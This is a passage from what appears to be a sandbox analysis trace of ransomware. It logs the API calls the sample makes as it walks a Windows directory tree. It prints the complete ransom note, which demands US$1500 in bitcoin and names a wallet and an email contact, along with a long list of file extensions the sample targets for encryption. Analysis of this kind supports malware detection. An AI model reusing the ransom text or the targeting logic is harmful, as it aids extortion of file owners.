ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d004d, dwReserved1=0x450043, cFileName="MMCEx.Resources", cAlternateFileName="MMCEX~1.RES")) returned 1 [0100.560] lstrcmpA (lpString1=".", lpString2="MMCEx.Resources") returned -1 [0100.560] lstrcmpA (lpString1="..", lpString2="MMCEx.Resources") returned -1 [0100.560] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.560] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="MMCEx.Resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources" [0100.560] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources") returned 44 [0100.560] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.560] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.560] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.561] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.561] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.561] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0_en_31bf3856ad364e35", cAlternateFileName="300~1.0_E")) returned 1 [0100.561] lstrcmpA (lpString1=".", lpString2="3.0.0.0_en_31bf3856ad364e35") returned -1 [0100.561] lstrcmpA (lpString1="..", lpString2="3.0.0.0_en_31bf3856ad364e35") returned -1 [0100.561] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\*.*") returned="*.*" [0100.561] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\", lpString2="3.0.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35" [0100.561] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35") returned 72 [0100.561] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.561] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.561] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.561] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.561] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.561] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCEx.Resources.dll", cAlternateFileName="")) returned 1 [0100.562] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.562] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MMCEx.Resources.dll") returned -1 [0100.562] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MMCEx.Resources.dll") returned -1 [0100.562] lstrcmpiA (lpString1="", lpString2="MMCEx.Resources.dll") returned -1 [0100.562] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0100.562] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\" [0100.562] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\") returned="" [0100.562] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.562] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\mmcex.resources\\3.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.562] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\mmcex.resources\\3.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.563] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.563] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.564] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.565] CloseHandle (hObject=0x90) returned 1 [0100.565] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\", lpString2="MMCEx.Resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll" [0100.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.ems") returned 0 [0100.565] lstrlenA (lpString="*.ems") returned 5 [0100.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.db") returned 0 [0100.565] lstrlenA (lpString="*.db") returned 4 [0100.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.dbf") returned 0 [0100.565] lstrlenA (lpString="*.dbf") returned 5 [0100.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.myox") returned 0 [0100.565] lstrlenA (lpString="*.myox") returned 6 [0100.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.myo") returned 0 [0100.565] lstrlenA (lpString="*.myo") returned 5 [0100.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.qbw") returned 0 [0100.565] lstrlenA (lpString="*.qbw") returned 5 [0100.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.qbb") returned 0 [0100.565] lstrlenA (lpString="*.qbb") returned 5 [0100.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.qbm") returned 0 [0100.565] lstrlenA (lpString="*.qbm") returned 5 [0100.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.qbo") returned 0 [0100.565] lstrlenA (lpString="*.qbo") returned 5 [0100.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.qbx") returned 0 [0100.565] lstrlenA (lpString="*.qbx") returned 5 [0100.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.qba") returned 0 [0100.565] lstrlenA (lpString="*.qba") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.qby") returned 0 [0100.566] lstrlenA (lpString="*.qby") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.qbj") returned 0 [0100.566] lstrlenA (lpString="*.qbj") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.ofx") returned 0 [0100.566] lstrlenA (lpString="*.ofx") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.qif") returned 0 [0100.566] lstrlenA (lpString="*.qif") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.mye") returned 0 [0100.566] lstrlenA (lpString="*.mye") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.mbox") returned 0 [0100.566] lstrlenA (lpString="*.mbox") returned 6 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.eml") returned 0 [0100.566] lstrlenA (lpString="*.eml") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.pst") returned 0 [0100.566] lstrlenA (lpString="*.pst") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.ost") returned 0 [0100.566] lstrlenA (lpString="*.ost") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.idx") returned 0 [0100.566] lstrlenA (lpString="*.idx") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.dbx") returned 0 [0100.566] lstrlenA (lpString="*.dbx") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.sql") returned 0 [0100.566] lstrlenA (lpString="*.sql") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.mdb") returned 0 [0100.566] lstrlenA (lpString="*.mdb") returned 5 [0100.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.fdb") returned 0 [0100.567] lstrlenA (lpString="*.fdb") returned 5 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.wab") returned 0 [0100.567] lstrlenA (lpString="*.wab") returned 5 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.dat") returned 0 [0100.567] lstrlenA (lpString="*.dat") returned 5 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.txt") returned 0 [0100.567] lstrlenA (lpString="*.txt") returned 5 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.jpeg") returned 0 [0100.567] lstrlenA (lpString="*.jpeg") returned 6 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.jpg") returned 0 [0100.567] lstrlenA (lpString="*.jpg") returned 5 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.png") returned 0 [0100.567] lstrlenA (lpString="*.png") returned 5 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.php") returned 0 [0100.567] lstrlenA (lpString="*.php") returned 5 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.cs") returned 0 [0100.567] lstrlenA (lpString="*.cs") returned 4 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.cpp") returned 0 [0100.567] lstrlenA (lpString="*.cpp") returned 5 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.rar") returned 0 [0100.567] lstrlenA (lpString="*.rar") returned 5 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.zip") returned 0 [0100.567] lstrlenA (lpString="*.zip") returned 5 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.html") returned 0 [0100.567] lstrlenA (lpString="*.html") returned 6 [0100.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.htm") returned 0 [0100.568] lstrlenA (lpString="*.htm") returned 5 [0100.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.xlsx") returned 0 [0100.568] lstrlenA (lpString="*.xlsx") returned 6 [0100.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.xls") returned 0 [0100.568] lstrlenA (lpString="*.xls") returned 5 [0100.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.mp4") returned 0 [0100.568] lstrlenA (lpString="*.mp4") returned 5 [0100.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.ppt") returned 0 [0100.568] lstrlenA (lpString="*.ppt") returned 5 [0100.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.pptx") returned 0 [0100.568] lstrlenA (lpString="*.pptx") returned 6 [0100.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.doc") returned 0 [0100.568] lstrlenA (lpString="*.doc") returned 5 [0100.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.dot") returned 0 [0100.568] lstrlenA (lpString="*.dot") returned 5 [0100.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.docx") returned 0 [0100.568] lstrlenA (lpString="*.docx") returned 6 [0100.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.7z") returned 0 [0100.568] lstrlenA (lpString="*.7z") returned 4 [0100.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.tar") returned 0 [0100.568] lstrlenA (lpString="*.tar") returned 5 [0100.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.bz2") returned 0 [0100.568] lstrlenA (lpString="*.bz2") returned 5 [0100.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.gz") returned 0 [0100.568] lstrlenA (lpString="*.gz") returned 4 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.mkv") returned 0 [0100.569] lstrlenA (lpString="*.mkv") returned 5 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.eml") returned 0 [0100.569] lstrlenA (lpString="*.eml") returned 5 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.msg") returned 0 [0100.569] lstrlenA (lpString="*.msg") returned 5 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.edb") returned 0 [0100.569] lstrlenA (lpString="*.edb") returned 5 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.accdb") returned 0 [0100.569] lstrlenA (lpString="*.accdb") returned 7 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.odb") returned 0 [0100.569] lstrlenA (lpString="*.odb") returned 5 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.java") returned 0 [0100.569] lstrlenA (lpString="*.java") returned 6 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.asm") returned 0 [0100.569] lstrlenA (lpString="*.asm") returned 5 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.pfx") returned 0 [0100.569] lstrlenA (lpString="*.pfx") returned 5 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.pem") returned 0 [0100.569] lstrlenA (lpString="*.pem") returned 5 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.p12") returned 0 [0100.569] lstrlenA (lpString="*.p12") returned 5 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.gpg") returned 0 [0100.569] lstrlenA (lpString="*.gpg") returned 5 [0100.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.vsd") returned 0 [0100.570] lstrlenA (lpString="*.vsd") returned 5 [0100.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.odg") returned 0 [0100.570] lstrlenA (lpString="*.odg") returned 5 [0100.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.raw") returned 0 [0100.570] lstrlenA (lpString="*.raw") returned 5 [0100.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.nef") returned 0 [0100.570] lstrlenA (lpString="*.nef") returned 5 [0100.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.svg") returned 0 [0100.570] lstrlenA (lpString="*.svg") returned 5 [0100.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.psd") returned 0 [0100.570] lstrlenA (lpString="*.psd") returned 5 [0100.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.vmx") returned 0 [0100.570] lstrlenA (lpString="*.vmx") returned 5 [0100.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCEx.Resources.dll", pszSpec="*.vmdk") returned 0 [0100.570] lstrlenA (lpString="*.vmdk") returned 6 [0100.570] PathMatchSpecA 